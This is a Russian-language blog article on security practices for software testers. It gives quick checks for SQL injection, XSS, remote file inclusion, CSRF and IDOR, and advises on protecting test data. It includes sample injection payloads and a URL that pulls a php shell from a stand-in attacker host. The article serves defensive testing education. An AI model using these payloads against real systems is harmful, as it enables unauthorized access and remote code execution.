En

JazzTeam Software Development Company

Agile Java Development

Лучшие практики информационной безопасности в тестировании

Введение

В современном мире самая большая ценность - информация. Не зря еще в позапрошлом веке появилось высказывание: “Кто владеет информацией, тот владеет миром”, а значит, всегда будет существовать желание получить конфиденциальную, недоступную другим информацию, даже если эти действия незаконны и могут нанести вред другим.

За два века многое изменилось: сбор, хранение, обработку информации и даже контроль за важными процессами, например, управление АЭС, осуществляют автоматизированные системы. Но и они в той или иной мере подвержены ошибкам, которые в них заложил их создатель.

Поэтому, для того, чтобы решать проблемы с несанкционированным доступом к информации или саботажем работы систем, появилась необходимость в отдельной дисциплине информационных технологий - информационная безопасность.

Информационная безопасность - это комплекс мероприятий, направленных на защиту информации и поддерживающей инфраструктуры от случайных или преднамеренных воздействий естественного или искусственного характера, которые могут нанести неприемлемый ущерб субъектам информационных отношений, в том числе владельцам и пользователям информации и инфраструктуры.

С точки зрения информационной безопасности, информация обладает свойствами:

Уязвимость (перевод с англ. vulnerability) - недостаток в системе, используя который можно намеренно нарушить её целостность и вызвать неправильную работу. Уязвимость может быть результатом ошибок программирования, недостатков, допущенных при проектировании системы, ненадежных паролей, вирусов и других вредоносных программ. Некоторые уязвимости известны только теоретически, но в любой момент могут появиться методы для их использования.

Подходы, применяемые при тестировании

Для того чтобы оценить уязвимость приложения, необходимо проводить тестирование силами как своих специалистов, так и с привлечением сторонних специалистов, которые специализируются на проверке безопасности системы. При этом важно понимать, что тестирование - это не панацея от всех проблем, но важный шаг к обеспечению безопасности.

Важно, чтобы тестирование безопасности проводилось перед отгрузкой приложения, при котором минимально необходимо проверять следующие тесты безопасности:

Виды уязвимостей

В зависимости от решаемых приложением задач у него могут быть обнаружены разные типы уязвимостей. Из-за наметившейся в последнее время тенденции перемещения фокуса разрабатываемых приложений в веб и на мобильные платформы наиболее распространенными видами уязвимостей еще долгое время будут оставаться:

Быстрая проверка.
Допустим, у нас есть форма для входа пользователя
В поле логина вводим: my_user or 1=1);--
В поле пароля вводим: произвольные символы
В результате получается SQL-запрос вида:
SELECT * FROM usr WHERE (login='my_user' or 1=1);-- ', password='');

Если в приложении есть уязвимость типа SQL Injections: произойдет авторизация под первым пользователем, который есть в таблице.

Быстрая проверка.
Возможный вариант атаки - через форму логина. Для этого необходимо в форме в поле пароля ввести произвольные символы, а в поле логина ввести:

<script>alert('XSS');</script>

Если при отправке запроса увидим всплывающее окно с текстом: XSS, значит указанная уязвимость есть.

Быстрая проверка.
Предположим, веб-приложение работает с ссылками, подобными следующей:
http://test.site/index.php?template=news
$body = $_GET['page']. ".php";

В ходе обработки этого запроса сценарий index.php подключает сценарий news.php и выполняет указанный в нем код. Если указать в качестве URL http://test.site/index.php?template=http://attacker.site/phpshell и сценарий phpshell будет успешно выполнен, то можно говорить о существовании уязвимости.

Если на сервере предусмотрена функция сохранения документов пользователя, можно сохранить необходимый сценарий и вызвать его через функцию подключения http://test.site/index.php?template=users/uploads/phpshell.

Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую операцию. Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

Достаточно подробно данная ошибка разобрана в статье “Уязвимость CSRF. Введение” https://intsystem.org/security/learn-about-csrf-intro/

Быстрая проверка.
Предположим, в веб-приложении просмотр конфиденциальной информации профиля происходит по адресу, где URL имеет указание на id пользователя:
http://test.site/index.php?profile=userId

Если после изменения userId будет выводиться информация другого пользователя, значит в системе имеется ошибка.

Из-за того, что данные проблемы являются популярными, о них можно найти очень много информации по тому, как как их можно обнаружить, исправить и проверять. Например, для того чтобы потренироваться в поиске уязвимостей, можно использовать свободно скачиваемое приложение buggy web application (bWAPP).

Можно запустить как на Windows, так и на Linux. Приложение содержит большое количество различных уязвимостей. Для работы нужен PHP и MySQL.

Предупреждение, потеря или выдача информации

При работе тестировщика, в силу особенностей некоторых систем, необходимо проверять работу не с абстрактными данными, а используя реальные данные. Из-за этого может возникнуть риск попадания информации к третьим лицам. Для того чтобы избежать такой неприятной ситуации, после проверки кейсов необходимо удалять временные хранилища данных (в том числе файлы, куки и т.д.) по окончании работы с приложением.

По возможности нужно стараться не использовать данные реальных пользователей, особенно при проверке финансовых операций. В интернете доступны сервисы, которые помогут сгенерировать данные псевдо-реального пользователя.

Другой важной проблемой может быть случайное или преднамеренное удаление важной информации. При этом информация может никак не влиять на продукт, но быть достаточно трудно восстанавливаемой. В этом случае самым лучшим решением будет придерживаться нескольких принципов:

Разграничение доступа с использованием VPN

Для того чтобы передаваемую по сети информацию было сложнее расшифровать, хорошей практикой может считаться использование VPN для доступа в различные сегменты сети или для удаленного подключения. Если при этом дополнительно будет использоваться 2-х факторная аутентификация - это добавит дополнительный процент безопасности, но всё равно не обеспечит 100% защиту. Ведь существуют методы социальной инженерии или ошибки в протоколе GSM сетей.

К примеру, в нашем случае безопасность доступов имела примерно такую иерархию:

При этом, если пароль пользователя будет скомпрометирован и злоумышленнику удастся получить доступ к необходимым ресурсам, все выполненные действия будут сохранены и можно будет выработать мероприятия по минимизации ущерба.

Заключение

В данный момент программные системы настолько сложны, что крайне сложно обнаружить все ошибки на этапе проектирования и разработки. Важно понимать, что не существует абсолютной защиты, при этом ваше приложение может быть отлично спроектировано и практически идеально в части кода, но и тут может появиться неожиданная проблема, которая зависит от сторонней библиотеки.

Поэтому на практике безапелляционно можно заявить: к любой системе можно найти подход и выбрать такой вектор атаки, который никто не ожидает, вопрос состоит в том, сколько времени и сил будет потрачено и стоит ли это того. Однако, это не значит, что необходимо просто констатировать факт того, что все системы по умолчанию уязвимы.

Для того чтобы минимизировать риски, необходимо придерживаться методологий безопасной разработки ПО, использовать проверенные алгоритмы шифрования информации, регулярно обновлять ключи доступа, если используются сторонние библиотеки, проверять их на наличие ошибок и/или регулярно проверять наличие крупных ошибок и, конечно же, не забывать о тестировании.

Полезные ссылки

  1. Проект, на котором собраны наиболее критичные проблемы безопасности веб-приложений - https://www.owasp.org/index.php/Main_Page.
  2. Лаборатория тестирования на проникновение - https://pentestit.ru.
  3. Дистрибутив Linux для тестирования безопасности - https://www.kali.org/.
  4. Статья с множеством ссылок по теме ИБ - https://habr.com/company/dsec/blog/200408/.

, , , , , , , , , ,

Leave a Reply

Your email address will not be published. Required fields are marked *